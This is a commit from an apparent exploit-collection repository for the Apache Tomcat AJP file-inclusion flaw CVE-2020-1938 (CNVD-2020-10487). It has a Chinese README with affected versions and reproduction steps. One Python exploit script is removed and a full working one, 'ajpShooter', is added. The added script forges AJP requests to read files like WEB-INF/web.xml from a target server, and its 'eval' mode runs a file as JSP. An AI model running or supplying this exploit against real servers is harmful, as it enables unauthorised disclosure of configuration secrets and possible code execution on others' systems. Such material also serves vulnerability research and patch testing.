优化 Apache-Tomcat-Ajp LFI (CNVD-2020-10487 /CVE-2020-1938)

This commit is contained in:
helloexp 2022-08-23 10:33:31 +08:00
parent 5bd8e2c4a8
commit 3443bfdbd9
5 changed files with 404 additions and 315 deletions

Binary file not shown.

Before

Width:  |  Height:  |  Size: 256 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 30 KiB

View File

@ -1,15 +1,20 @@
# 影响版本</br>
Apache Tomcat 6</br>
Apache Tomcat 7 < 7.0.100</br>
Apache Tomcat 8 < 8.5.51</br>
Apache Tomcat 9 < 9.0.31</br>
# 漏洞复现</br>
首先启动apache tamcat服务访问localhost8080可以成功访问如下界面
![1](Documents/GitHub/0day/03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/1.png)</br>
端口扫描发现8009 8080端口开启证明有该漏洞。</br>
接着利用POC文件CNVD-2020-10487-Tomcat-Ajp-lfi.py,注意执行环境为python 2。</br>
命令为 python ./ CNVD-2020-10487-Tomcat-Ajp-lfi.py 本地ip p 8009 f WEB-INF/web.xml</br>
执行成功后可以看到成功访问到该文件。</br>
![2](Documents/GitHub/0day/03-Apache & Tomcat/Tomcat/Tomcat-Ajp-lfi漏洞/2.png)</br>
# Apache-Tomcat-Ajp LFI
## 漏洞编号
CVE-2020-1938 / CNVD-2020-10487
## 影响版本
* Apache Tomcat 6
* Apache Tomcat 7 < 7.0.100
* Apache Tomcat 8 < 8.5.51
* Apache Tomcat 9 < 9.0.31
## 漏洞复现
1. 启动apache tomcat服务访问localhost:8080可以成功访问如下界面
![](images/index.png)
2. 端口扫描发现8009 8080端口开启同时上一步的截图中发现版本为`9.0.30` ,证明有该漏洞。
3. 执行poc 脚本:
```shell
python exp.py http://localhost:8080/ 8009 /WEB-INF/web.xml read
```
4. 执行成功后可以看到成功访问到该文件
![](images/result.png)

View File

@ -1,302 +0,0 @@
#!/usr/bin/env python
#CNVD-2020-10487 Tomcat-Ajp lfi
#by ydhcui
import struct
# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
if s is None:
return struct.pack(">h", -1)
l = len(s)
return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
size = struct.calcsize(fmt)
buf = stream.read(size)
return struct.unpack(fmt, buf)
def unpack_string(stream):
size, = unpack(stream, ">h")
if size == -1: # null string
return None
res, = unpack(stream, "%ds" % size)
stream.read(1) # \0
return res
class NotFoundException(Exception):
pass
class AjpBodyRequest(object):
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
MAX_REQUEST_LENGTH = 8186
def __init__(self, data_stream, data_len, data_direction=None):
self.data_stream = data_stream
self.data_len = data_len
self.data_direction = data_direction
def serialize(self):
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
if len(data) == 0:
return struct.pack(">bbH", 0x12, 0x34, 0x00)
else:
res = struct.pack(">H", len(data))
res += data
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbH", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbH", 0x41, 0x42, len(res))
return header + res
def send_and_receive(self, socket, stream):
while True:
data = self.serialize()
socket.send(data)
r = AjpResponse.receive(stream)
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
r = AjpResponse.receive(stream)
if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
break
class AjpForwardRequest(object):
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
COMMON_HEADERS = ["SC_REQ_ACCEPT",
"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
]
ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
def __init__(self, data_direction=None):
self.prefix_code = 0x02
self.method = None
self.protocol = None
self.req_uri = None
self.remote_addr = None
self.remote_host = None
self.server_name = None
self.server_port = None
self.is_ssl = None
self.num_headers = None
self.request_headers = None
self.attributes = None
self.data_direction = data_direction
def pack_headers(self):
self.num_headers = len(self.request_headers)
res = ""
res = struct.pack(">h", self.num_headers)
for h_name in self.request_headers:
if h_name.startswith("SC_REQ"):
code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
res += struct.pack("BB", 0xA0, code)
else:
res += pack_string(h_name)
res += pack_string(self.request_headers[h_name])
return res
def pack_attributes(self):
res = b""
for attr in self.attributes:
a_name = attr['name']
code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
res += struct.pack("b", code)
if a_name == "req_attribute":
aa_name, a_value = attr['value']
res += pack_string(aa_name)
res += pack_string(a_value)
else:
res += pack_string(attr['value'])
res += struct.pack("B", 0xFF)
return res
def serialize(self):
res = ""
res = struct.pack("bb", self.prefix_code, self.method)
res += pack_string(self.protocol)
res += pack_string(self.req_uri)
res += pack_string(self.remote_addr)
res += pack_string(self.remote_host)
res += pack_string(self.server_name)
res += struct.pack(">h", self.server_port)
res += struct.pack("?", self.is_ssl)
res += self.pack_headers()
res += self.pack_attributes()
if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbh", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbh", 0x41, 0x42, len(res))
return header + res
def parse(self, raw_packet):
stream = StringIO(raw_packet)
self.magic1, self.magic2, data_len = unpack(stream, "bbH")
self.prefix_code, self.method = unpack(stream, "bb")
self.protocol = unpack_string(stream)
self.req_uri = unpack_string(stream)
self.remote_addr = unpack_string(stream)
self.remote_host = unpack_string(stream)
self.server_name = unpack_string(stream)
self.server_port = unpack(stream, ">h")
self.is_ssl = unpack(stream, "?")
self.num_headers, = unpack(stream, ">H")
self.request_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code > 0xA000:
h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
else:
h_name = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
self.request_headers[h_name] = h_value
def send_and_receive(self, socket, stream, save_cookies=False):
res = []
i = socket.sendall(self.serialize())
if self.method == AjpForwardRequest.POST:
return res
r = AjpResponse.receive(stream)
assert r.prefix_code == AjpResponse.SEND_HEADERS
res.append(r)
if save_cookies and 'Set-Cookie' in r.response_headers:
self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
# read body chunks and end response packets
while True:
r = AjpResponse.receive(stream)
res.append(r)
if r.prefix_code == AjpResponse.END_RESPONSE:
break
elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
continue
else:
raise NotImplementedError
break
return res
class AjpResponse(object):
_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
COMMON_SEND_HEADERS = [
"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
]
def parse(self, stream):
# read headers
self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
if self.prefix_code == AjpResponse.SEND_HEADERS:
self.parse_send_headers(stream)
elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
self.parse_send_body_chunk(stream)
elif self.prefix_code == AjpResponse.END_RESPONSE:
self.parse_end_response(stream)
elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
self.parse_get_body_chunk(stream)
else:
raise NotImplementedError
def parse_send_headers(self, stream):
self.http_status_code, = unpack(stream, ">H")
self.http_status_msg = unpack_string(stream)
self.num_headers, = unpack(stream, ">H")
self.response_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code <= 0xA000: # custom header
h_name, = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
else:
h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
h_value = unpack_string(stream)
self.response_headers[h_name] = h_value
def parse_send_body_chunk(self, stream):
self.data_length, = unpack(stream, ">H")
self.data = stream.read(self.data_length+1)
def parse_end_response(self, stream):
self.reuse, = unpack(stream, "b")
def parse_get_body_chunk(self, stream):
rlen, = unpack(stream, ">H")
return rlen
@staticmethod
def receive(stream):
r = AjpResponse()
r.parse(stream)
return r
import socket
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
fr.method = method
fr.protocol = "HTTP/1.1"
fr.req_uri = req_uri
fr.remote_addr = target_host
fr.remote_host = None
fr.server_name = target_host
fr.server_port = 80
fr.request_headers = {
'SC_REQ_ACCEPT': 'text/html',
'SC_REQ_CONNECTION': 'keep-alive',
'SC_REQ_CONTENT_LENGTH': '0',
'SC_REQ_HOST': target_host,
'SC_REQ_USER_AGENT': 'Mozilla',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'en-US,en;q=0.5',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
fr.is_ssl = False
fr.attributes = []
return fr
class Tomcat(object):
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.connect((target_host, target_port))
self.stream = self.socket.makefile("rb", bufsize=0)
def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
self.req_uri = req_uri
self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
if user is not None and password is not None:
self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
for h in headers:
self.forward_request.request_headers[h] = headers[h]
for a in attributes:
self.forward_request.attributes.append(a)
responses = self.forward_request.send_and_receive(self.socket, self.stream)
if len(responses) == 0:
return None, None
snd_hdrs_res = responses[0]
data_res = responses[1:-1]
if len(data_res) == 0:
print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
return snd_hdrs_res, data_res
'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf',attributes=[
{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
{'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
])
print('----------------------------')
print("".join([d.data for d in data]))

View File

@ -0,0 +1,386 @@
#!/usr/bin/python3
# Author: 00theway
import socket
import binascii
import argparse
import urllib.parse
debug = False
def log(type, *args, **kwargs):
if type == 'debug' and debug == False:
return
elif type == 'append' and debug == True:
return
elif type == 'append':
kwargs['end'] = ''
print(*args, **kwargs)
return
print('[%s]' % type.upper(), *args, **kwargs)
class ajpRequest(object):
def __init__(self, request_url, method='GET', headers=[], attributes=[]):
self.request_url = request_url
self.method = method
self.headers = headers
self.attributes = attributes
def method2code(self, method):
methods = {
'OPTIONS': 1,
'GET': 2,
'HEAD': 3,
'POST': 4,
'PUT': 5,
'DELETE': 6,
'TRACE': 7,
'PROPFIND': 8
}
code = methods.get(method, 2)
return code
def make_headers(self):
header2code = {
b'accept': b'\xA0\x01', # SC_REQ_ACCEPT
b'accept-charset': b'\xA0\x02', # SC_REQ_ACCEPT_CHARSET
b'accept-encoding': b'\xA0\x03', # SC_REQ_ACCEPT_ENCODING
b'accept-language': b'\xA0\x04', # SC_REQ_ACCEPT_LANGUAGE
b'authorization': b'\xA0\x05', # SC_REQ_AUTHORIZATION
b'connection': b'\xA0\x06', # SC_REQ_CONNECTION
b'content-type': b'\xA0\x07', # SC_REQ_CONTENT_TYPE
b'content-length': b'\xA0\x08', # SC_REQ_CONTENT_LENGTH
b'cookie': b'\xA0\x09', # SC_REQ_COOKIE
b'cookie2': b'\xA0\x0A', # SC_REQ_COOKIE2
b'host': b'\xA0\x0B', # SC_REQ_HOST
b'pragma': b'\xA0\x0C', # SC_REQ_PRAGMA
b'referer': b'\xA0\x0D', # SC_REQ_REFERER
b'user-agent': b'\xA0\x0E' # SC_REQ_USER_AGENT
}
headers_ajp = []
for (header_name, header_value) in self.headers:
code = header2code.get(header_name, b'')
if code != b'':
headers_ajp.append(code)
headers_ajp.append(self.ajp_string(header_value))
else:
headers_ajp.append(self.ajp_string(header_name))
headers_ajp.append(self.ajp_string(header_value))
return self.int2byte(len(self.headers), 2), b''.join(headers_ajp)
def make_attributes(self):
'''
org.apache.catalina.jsp_file
javax.servlet.include.servlet_path + javax.servlet.include.path_info
'''
attribute2code = {
b'remote_user': b'\x03',
b'auth_type': b'\x04',
b'query_string': b'\x05',
b'jvm_route': b'\x06',
b'ssl_cert': b'\x07',
b'ssl_cipher': b'\x08',
b'ssl_session': b'\x09',
b'req_attribute': b'\x0A', # Name (the name of the attribut follows)
b'ssl_key_size': b'\x0B'
}
attributes_ajp = []
for (name, value) in self.attributes:
code = attribute2code.get(name, b'')
if code != b'':
attributes_ajp.append(code)
if code == b'\x0A':
for v in value:
attributes_ajp.append(self.ajp_string(v))
else:
attributes_ajp.append(self.ajp_string(value))
return b''.join(attributes_ajp)
def ajp_string(self, message_bytes):
# an AJP string
# the length of the string on two bytes + string + plus two null bytes
message_len_int = len(message_bytes)
return self.int2byte(message_len_int, 2) + message_bytes + b'\x00'
def int2byte(self, data, byte_len=1):
return data.to_bytes(byte_len, 'big')
def make_forward_request_package(self):
'''
AJP13_FORWARD_REQUEST :=
prefix_code (byte) 0x02 = JK_AJP13_FORWARD_REQUEST
method (byte)
protocol (string)
req_uri (string)
remote_addr (string)
remote_host (string)
server_name (string)
server_port (integer)
is_ssl (boolean)
num_headers (integer)
request_headers *(req_header_name req_header_value)
attributes *(attribut_name attribute_value)
request_terminator (byte) OxFF
'''
req_ob = urllib.parse.urlparse(self.request_url)
# JK_AJP13_FORWARD_REQUEST
prefix_code_int = 2
prefix_code_bytes = self.int2byte(prefix_code_int)
method_bytes = self.int2byte(self.method2code(self.method))
protocol_bytes = b'HTTP/1.1'
req_uri_bytes = req_ob.path.encode('utf8')
remote_addr_bytes = b'127.0.0.1'
remote_host_bytes = b'localhost'
server_name_bytes = req_ob.hostname.encode('utf8')
# SSL flag
if req_ob.scheme == 'https':
is_ssl_boolean = 1
else:
is_ssl_boolean = 0
# port
server_port_int = req_ob.port
if not server_port_int:
server_port_int = (is_ssl_boolean ^ 1) * 80 + (is_ssl_boolean ^ 0) * 443
server_port_bytes = self.int2byte(server_port_int, 2) # convert to a two bytes
is_ssl_bytes = self.int2byte(is_ssl_boolean) # convert to a one byte
self.headers.append((b'host', b'%s:%d' % (server_name_bytes, server_port_int)))
num_headers_bytes, headers_ajp_bytes = self.make_headers()
attributes_ajp_bytes = self.make_attributes()
message = []
message.append(prefix_code_bytes)
message.append(method_bytes)
message.append(self.ajp_string(protocol_bytes))
message.append(self.ajp_string(req_uri_bytes))
message.append(self.ajp_string(remote_addr_bytes))
message.append(self.ajp_string(remote_host_bytes))
message.append(self.ajp_string(server_name_bytes))
message.append(server_port_bytes)
message.append(is_ssl_bytes)
message.append(num_headers_bytes)
message.append(headers_ajp_bytes)
message.append(attributes_ajp_bytes)
message.append(b'\xff')
message_bytes = b''.join(message)
send_bytes = b'\x12\x34' + self.ajp_string(message_bytes)
return send_bytes
class ajpResponse(object):
def __init__(self, s, out_file):
self.sock = s
self.out_file = out_file
self.body_start = False
self.common_response_headers = {
b'\x01': b'Content-Type',
b'\x02': b'Content-Language',
b'\x03': b'Content-Length',
b'\x04': b'Date',
b'\x05': b'Last-Modified',
b'\x06': b'Location',
b'\x07': b'Set-Cookie',
b'\x08': b'Set-Cookie2',
b'\x09': b'Servlet-Engine',
b'\x0a': b'Status',
b'\x0b': b'WWW-Authenticate',
}
if not self.out_file:
self.out_file = False
else:
log('*', 'store response in %s' % self.out_file)
self.out = open(self.out_file, 'wb')
def parse_response(self):
log('debug', 'start')
magic = self.recv(2) # first two bytes are the 'magic'
log('debug', 'magic', magic, binascii.b2a_hex(magic))
# next two bytes are the length
data_len_int = self.read_int(2)
code_int = self.read_int(1)
log('debug', 'code', code_int)
if code_int == 3:
self.parse_send_body_chunk()
elif code_int == 4:
self.parse_headers()
elif code_int == 5:
self.parse_response_end()
quit()
self.parse_response()
def parse_headers(self):
log("append", '\n')
log('debug', 'parsing RESPONSE HEADERS')
status_int = self.read_int(2)
msg_bytes = self.read_string()
log('<', status_int, msg_bytes.decode('utf8'))
headers_number_int = self.read_int(2)
log('debug', 'headers_nb', headers_number_int)
for i in range(headers_number_int):
# header name: two cases
first_byte = self.recv(1)
second_byte = self.recv(1)
if first_byte == b'\xa0':
header_key_bytes = self.common_response_headers[second_byte]
else:
header_len_bytes = first_byte + second_byte
header_len_int = int.from_bytes(header_len_bytes, byteorder='big')
header_key_bytes = self.read_bytes(header_len_int)
# consume the 0x00 terminator
self.recv(1)
header_value_bytes = self.read_string()
try:
header_key_bytes = header_key_bytes.decode('utf8')
header_value_bytes = header_value_bytes.decode('utf8')
except:
pass
log('<', '%s: %s' % (header_key_bytes, header_value_bytes))
def parse_send_body_chunk(self):
if not self.body_start:
log('append', '\n')
log('debug', 'start parsing body chunk')
self.body_start = True
chunk = self.read_string()
if self.out_file:
self.out.write(chunk)
else:
try:
chunk = chunk.decode('utf8')
except:
pass
log('append', chunk)
def parse_response_end(self):
log('debug', 'start parsing end')
code_reuse_int = self.read_int(1)
log('debug', "finish parsing end", code_reuse_int)
self.sock.close()
def read_int(self, int_len):
return int.from_bytes(self.recv(int_len), byteorder='big')
def read_bytes(self, bytes_len):
return self.recv(bytes_len)
def read_string(self, int_len=2):
data_len = self.read_int(int_len)
data = self.recv(data_len)
# consume the 0x00 terminator
end = self.recv(1)
log('debug', 'read_string read data_len:%d\ndata_len:%d\nend:%s' % (data_len, len(data), end))
return data
def recv(self, data_len):
data = self.sock.recv(data_len)
while len(data) < data_len:
log('debug', 'recv not end,wait for %d bytes' % (data_len - len(data)))
data += self.sock.recv(data_len - len(data))
return data
class ajpShooter(object):
def __init__(self, args):
self.args = args
self.headers = args.header
self.ajp_port = args.ajp_port
self.requesturl = args.url
self.target_file = args.target_file
self.shooter = args.shooter
self.method = args.X
self.out_file = args.out_file
def shoot(self):
headers = self.transform_headers()
target_file = self.target_file.encode('utf8')
attributes = []
evil_req_attributes = [
(b'javax.servlet.include.request_uri', b'index'),
(b'javax.servlet.include.servlet_path', target_file)
]
for req_attr in evil_req_attributes:
attributes.append((b"req_attribute", req_attr))
if self.shooter == 'read':
self.requesturl += '/index.txt'
else:
self.requesturl += '/index.jsp'
ajp_ip = urllib.parse.urlparse(self.requesturl).hostname
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ajp_ip, self.ajp_port))
message = ajpRequest(self.requesturl, self.method, headers, attributes).make_forward_request_package()
s.send(message)
ajpResponse(s, self.out_file).parse_response()
def transform_headers(self):
self.headers = [] if not self.headers else self.headers
newheaders = []
for header in self.headers:
hsplit = header.split(':')
hname = hsplit[0]
hvalue = ':'.join(hsplit[1:])
newheaders.append((hname.lower().encode('utf8'), hvalue.encode('utf8')))
return newheaders
if __name__ == "__main__":
# parse command line arguments
print('''
_ _ __ _ _
/_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __
//_\\\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
/ _ \| | |_) | _\ \ | | | (_) | (_) | || __/ |
\_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_|
|__/|_|
00theway,just for test
''')
parser = argparse.ArgumentParser()
parser.add_argument('url', help='target site\'s context root url like http://www.example.com/demo/')
parser.add_argument('ajp_port', default=8009, type=int, help='ajp port')
parser.add_argument('target_file', help='target file to read or eval like /WEB-INF/web.xml,/image/evil.jpg')
parser.add_argument('shooter', choices=['read', 'eval'], help='read or eval file')
parser.add_argument('--ajp-ip', help='ajp server ip,default value will parse from from url')
parser.add_argument('-H', '--header', help='add a header', action='append')
parser.add_argument('-X', help='Sets the method (default: %(default)s).', default='GET',
choices=['GET', 'POST', 'HEAD', 'OPTIONS', 'PROPFIND'])
parser.add_argument('-d', '--data', nargs=1, help='The data to POST')
parser.add_argument('-o', '--out-file', help='write response to file')
parser.add_argument('--debug', action='store_true', default=False)
args = parser.parse_args()
debug = args.debug
ajpShooter(args).shoot()